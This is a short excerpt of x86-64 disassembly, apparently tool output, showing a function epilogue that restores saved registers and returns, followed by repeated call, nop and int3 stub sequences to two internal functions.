mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c41a0
nop
call fcn.1400c4100
int3
call fcn.1400c41a0
nop
call fcn.1400c4100
nop
call fcn.1400c4100
nop
call fcn.1400c4100
nop
call fcn.1400c4100
nop
call fcn.1400c4100
nop
call fcn.1400c41a0
nop
call fcn.1400c41a0
nop
call fcn.1400c41a0
int3